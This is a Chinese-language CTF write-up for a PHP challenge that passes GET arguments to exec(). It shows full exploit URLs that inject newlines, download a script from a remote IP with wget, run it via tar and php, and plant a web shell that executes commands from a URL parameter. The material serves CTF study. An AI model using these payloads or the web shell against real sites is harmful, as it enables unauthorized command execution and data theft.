代码:

<?phphighlight_file(__FILE__);$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];if ( !file_exists($dir) )mkdir($dir);chdir($dir);$args = $_GET['args'];for ( $i=0; $i<count($args); $i++ ){if ( !preg_match('/^\w+$/', $args[$i]) )exit();}exec('./ ' . implode(" ", $args));
?>

解题:
从源码可以看出index.php可以执行纯字母数字的linux命令,目标是去读flag.php文件中的flag.
1. 利用换行可绕过正则表达式执行命令。
2. 通过生成ip地址长整数绕过正则表达式,下载exploit脚本。
3. 通过tar命令将无后缀脚本打包,再用php命令执行

Example:
http://localhost/index.php?args[]=whatever%0a&args[]=mkdir&args[]=test%0a&args[]=cd&args[]=test%0a&args[]=wget&args[]=3232254721(本地ip的长整型,wget IP是会获得首页,所以可以把脚本写到index.html里)
http://localhost/index.php?args[]=whatever%0a&args[]=tar&args[]=cvf&args[]=exploit&args[]=test%0a&args[]=php&args[]=exploit

可以看到./后面跟了一个空格,所以无论如何都没有办法一条命令解决。这个时候需要使用多条命令。
首先使用%0A做截断,相当于换行执行之后的命令。之后就是想办法传入shell
因为没有办法直接下载一个php文件(正则限制不能包含点)

<?php
file_put_contents('shell.php', '<?php header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);?>
');
?>

所以将上面的脚本放到自己的服务器上,然后通过wget获取之后用tar打包
然后再用php执行tar包即可写入一个shell文件,然后就可以拿到flag

http://localhost/shell.php?cat flag.php

CTF web题总结--绕过正则表达式相关推荐

  1. CTF Web题 部分WP

    1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...

  2. i春秋python_i春秋CTF web题(1)

    之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...

  3. CTF web题总结--上传文件绕过

    代码: <?php if (empty($_FILES['inputFile'])) {echo json_encode(['error'=>'No files found for upl ...

  4. hxp 36C3 CTF Web题 WriteupBin Writeup (Selenium模拟点击+Content Security Policy+Nonce+Parsley.js触发错误提示)

    WriteupBin – A web challenge from hxp 36C3 CTF https://ctftime.org/event/825 题目部署 本地搭建: 解压WriteupBin ...

  5. mysql 南邮ctf_南邮ctf web题记录(上)

    1.签到题 f12看源码就行了. md5 collision 题目贴出了源码,按照题意,a不等于QNKCDZO但是md5与QNKCDZO的md5相等时就可以获得flag. 如果两个字符经MD5加密后的 ...

  6. 四个有关文件传输的CTF WEB题(深育杯FakeWget、极客大挑战where_is_my_FUMO、2021陇原战疫CheckIN、N1CTF-curl trick)

    文章目录 深育杯FakeWget 极客大挑战where_is_my_FUMO 2021陇原战疫CheckIN N1CTF-curl trick wp来自官方发布和个人想法,觉得这四个题挺有意思的所以整 ...

  7. CTF Web题部分PHP魔术方法总结(Magic Methods)

    几个常见的PHP魔术方法 简单介绍 详细介绍 __sleep() __wakeup() __get() __set() __isset() __unset() __construct() __dest ...

  8. CTF web题总结--LFI

    本地文件包含漏洞(Local File Include),是php的include()函数存在设计缺陷,学习链接:php文件包含漏洞总结 题目的url都是类似这种: http://127.0.0.1/ ...

  9. CTF web题 wp:

    1.签到题 火狐F12查看源码,发现注释: 一次base64解码出flag 2.Encode 在这里插入图片描述 和第一题界面一样?? 轻车熟路f12: 发现编码: 格式看上去是base64,连续两次 ...

最新文章

  1. 计算机应用12班,《计算机应用基础》上机试卷A(10级机电8—12班)
  2. jupyter notebook使用技巧
  3. 一个快速实现彩屏应用的跨平台快速原型开发工具平台,最重要的是还免费!8ms.xyz平台原以为是单片机版墨刀,今天上去玩了才知道平台厉害的很,基于WEB端免搭建开发环境,跑的还是C代码编译出来的程序!
  4. springboot返回modelandview 找不到视图_SpringBoot错误处理机制及原理
  5. 最全面 Nginx 入门教程 + 常用配置解析
  6. 俊鸟的数据输入校验专题(三) WPF 的五种输入校验概述
  7. 结对开发四------求一维无头数组最大子数组的和
  8. 不懂电脑如何买电脑_如何选择性价比高的电脑 买电脑要注意什么
  9. 使用loadrunner录制winsock协议的程序(原创)
  10. ModifyStyle ModifyStyleEx修改自定义控件的问题
  11. 前端原生开发解决方案
  12. 用python画满天星_Python用27行代码绘制一幅满天星
  13. 小马哥spring编程核心思想_《Spring Boot编程思想(核心篇)》小马哥著 PDF电子书下载...
  14. 薄膜温室贵不贵,一亩地温室大棚需要花多少钱?
  15. PotPlayer老是提醒更新,怎么禁止PotPlayer联网?
  16. java获取空气质量在线监测分析平台(PM2.5真气网)数据
  17. Remove special file to special folder
  18. Java IO流以及File类
  19. 立创开源丨TDA1521/TDA2616_双声道HIFi功率放大器
  20. 转换CAJ到PDF: 教你如何转换这两种文件格式

热门文章

  1. python编程基础课后答案-中国大学慕课moocPython编程基础课后答案
  2. python里面的之前打过的记忆信息-python中的if __name__ == 'main'
  3. python代码需要背吗-Python代码需要缩进吗
  4. python和c-python和C的如何实现互相调用?
  5. python免费课程讲解-Python零基础免费入门课程
  6. python对文件的读操作方法有哪些-用python实现读写文件常见操作方式
  7. pecl.php.net,WARNING: channel pecl.php.net has updated its protocols, use pecl channel-update pec...
  8. 浅谈Java反射机制 之 获取类的字节码文件 Class.forName(全路径名) 、getClass()、class...
  9. 2019夏第八周学习编辑总结
  10. bzoj 1864: [Zjoi2006]三色二叉树